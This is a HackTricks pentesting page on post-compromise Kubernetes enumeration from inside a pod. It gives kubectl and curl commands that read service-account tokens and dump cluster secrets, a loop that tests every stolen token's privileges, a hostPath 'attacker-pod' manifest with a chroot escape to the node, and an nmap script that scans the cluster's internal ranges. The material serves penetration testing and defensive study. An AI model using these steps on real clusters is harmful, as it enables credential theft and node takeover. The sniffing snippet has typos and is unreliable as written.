HackTricks
Search…
Pentesting
Enumeration from a Pod
In a situation where you have managed to break into a Kubernetes Pod you could start enumerating the kubernetes environment from within.

Service Account Tokens

Before continuing, if you don't know what is a service in Kubernetes I would suggest you to follow this link and read at least the information about Kubernetes architecture.
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
Usually in the directory /run/secrets/kubernetes.io/serviceaccount or /var/run/secrets/kubernetes.io/serviceaccount you can find the files:
  • ca.crt: It's the ca certificate to check kubernetes communications
  • namespace: It indicates the current namespace
  • token: It contains the service token of the current pod.
The service account token is being signed by the key residing in the file sa.key and validated by sa.pub.
Default location on Kubernetes:
  • /etc/kubernetes/pki
Default location on Minikube:
  • /var/lib/localkube/certs
Taken from the Kubernetes documentation:
“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”

Hot Pods

Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.

RBAC

If you don't know what is RBAC, read this section.

Enumeration CheatSheet

To enumerate the environment you can upload the kubectl binary and use it. Also, using the service token obtained before you can manually access some endpoints of the API Server. In order to find the the IP of the API service check the environment for a variable called KUBERNETES_SERVICE_HOST.

Differences between list and get verbs

With get permissions you can access the API:
1
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Copied!
If you have the list permission, you are allowed to execute these API requests:
1
#In a namespace
2
GET /apis/apps/v1/namespaces/{namespace}/deployments
3
#In all namespaces
4
GET /apis/apps/v1/deployments
Copied!
If you have the watch permission, you are allowed to execute these API requests:
1
GET /apis/apps/v1/deployments?watch=true
2
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
3
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
4
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
5
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Copied!
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
The following kubectl commands indicates just how to list the objects. If you want to access the data you need to use describe instead of get

Using kubectl

when using kubectl it might come in handy to define a temporary alias, if the token used is different to the one defined in /run/secrets/kubernetes.io/serviceaccount or /var/run/secrets/kubernetes.io/serviceaccount.
1
alias kubectl='kubectl --token=<jwt_token>'
Copied!

Get namespaces

kubectl
API
1
./kubectl get namespaces
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/
Copied!

Get secrets

kubectl
API
1
./kubectl get secrets -o yaml
2
./kubectl get secrets -o yaml -n custnamespace
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/
3
4
curl -v -H "Authorization: Bearer <jwt_token>" \
5
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/secrets/
Copied!
If you can read secrets you can use the following lines to get the privileges related to each to token:
1
for token in `./kubectl describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; ./kubectl --token $token auth can-i --list; echo; done
Copied!

Get Current Privileges

kubectl
1
./kubectl auth can-i --list #Get privileges in general
2
./kubectl auth can-i --list -n custnamespace #Get privileves in custnamespace
Copied!
Once you know which privileges you have, check the following page to figure out if you can abuse them to escalate privileges:

Get Current Context

Kubectl
1
kubectl config current-context
Copied!

Get deployments

kubectl
API
1
./kubectl get deployments
2
./kubectl get deployments -n custnamespace
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/deployments/
3
4
curl -v -H "Authorization: Bearer <jwt_token>" \
5
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/deployments/
Copied!

Get pods

kubectl
API
1
./kubectl get pods
2
./kubectl get pods -n custnamespace
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/
3
4
curl -v -H "Authorization: Bearer <jwt_token>" \
5
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/pods/
Copied!

Get services

kubectl
API
1
./kubectl get services
2
./kubectl get services -n custnamespace
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/services/
3
4
curl -v -H "Authorization: Bearer <jwt_token>" \
5
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/services/
Copied!

Get nodes

kubectl
API
1
./kubectl get nodes
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/api/v1/nodes/
Copied!

Get daemonsets

kubectl
API
1
./kubectl get daemonsets
Copied!
1
curl -v -H "Authorization: Bearer <jwt_token>" \
2
https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
Copied!

Get "all"

kubectl
1
./kubectl get all
Copied!

Pod Breakout

If you are lucky enough you may be able to escape from it to the node:

Escaping from the pod

If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
1
kubectl get pod <name> [-n <namespace>] -o yaml
Copied!
Then you create your attack.yaml file
1
apiVersion: v1
2
kind: Pod
3
metadata:
4
labels:
5
run: attacker-pod
6
name: attacker-pod
7
namespace: default
8
spec:
9
volumes:
10
- name: host-fs
11
hostPath:
12
path: /
13
containers:
14
- image: ubuntu
15
imagePullPolicy: Always
16
name: attacker-pod
17
volumeMounts:
18
- name: host-fs
19
mountPath: /root
20
restartPolicy: Never
Copied!
After that you create the pod
1
kubectl apply -f attacker.yaml [-n <namespace>]
Copied!
Now you can switch to the created pod as follows
1
kubectl exec -it attacker-pod [-n <namespace>] -- bash # attacker-pod is the name defined in the yaml file
Copied!
And finally you chroot into the node's system
1
chroot /root /bin/bash
Copied!

Sniffing

By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.

Create a sidecar proxy app

Create your .yaml
1
kubectl run app --image=bash --comand -oyaml --dry-run=client > <appName.yaml> -- shj -c 'ping google.com'
Copied!
Edit your .yaml and add the uncomment lines:
1
#apiVersion: v1
2
#kind: Pod
3
#metadata:
4
# name: security-context-demo
5
#spec:
6
# securityContext:
7
# runAsUser: 1000
8
# runAsGroup: 3000
9
# fsGroup: 2000
10
# volumes:
11
# - name: sec-ctx-vol
12
# emptyDir: {}
13
# containers:
14
# - name: sec-ctx-demo
15
# image: busybox
16
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
17
securityContext:
18
capabilities:
19
add: ["NET_ADMIN"]
20
# volumeMounts:
21
# - name: sec-ctx-vol
22
# mountPath: /data/demo
23
# securityContext:
24
# allowPrivilegeEscalation: true
Copied!
See the logs of the proxy:
1
kubectl logs app -C proxy
Copied!

Search vulnerable network services

As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should search potential vulnerable services.

Services

For this purpose, you can try to get all the services of the kubernetes environment:
1
kubectl get svc --all-namespaces
Copied!

Scanning

The following Bash script (taken from a Kubernetes workshop) will install and scan the IP ranges of the kubernetes cluster:
1
sudo apt-get update
2
sudo apt-get install nmap
3
nmap-kube ()
4
{
5
nmap --open -T4 -A -v -Pn -p 443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
6
}
7
nmap-kube-discover () {
8
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
9
local SERVER_RANGES=" ";
10
SERVER_RANGES+="10.0.0.1 ";
11
SERVER_RANGES+="10.0.1.* ";
12
SERVER_RANGES+="10.*.0-1.* ";
13
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
14
}
15
nmap-kube-discover
Copied!

References

Kubernetes Pentest Methodology Part 3
CyberArk
Last modified 6mo ago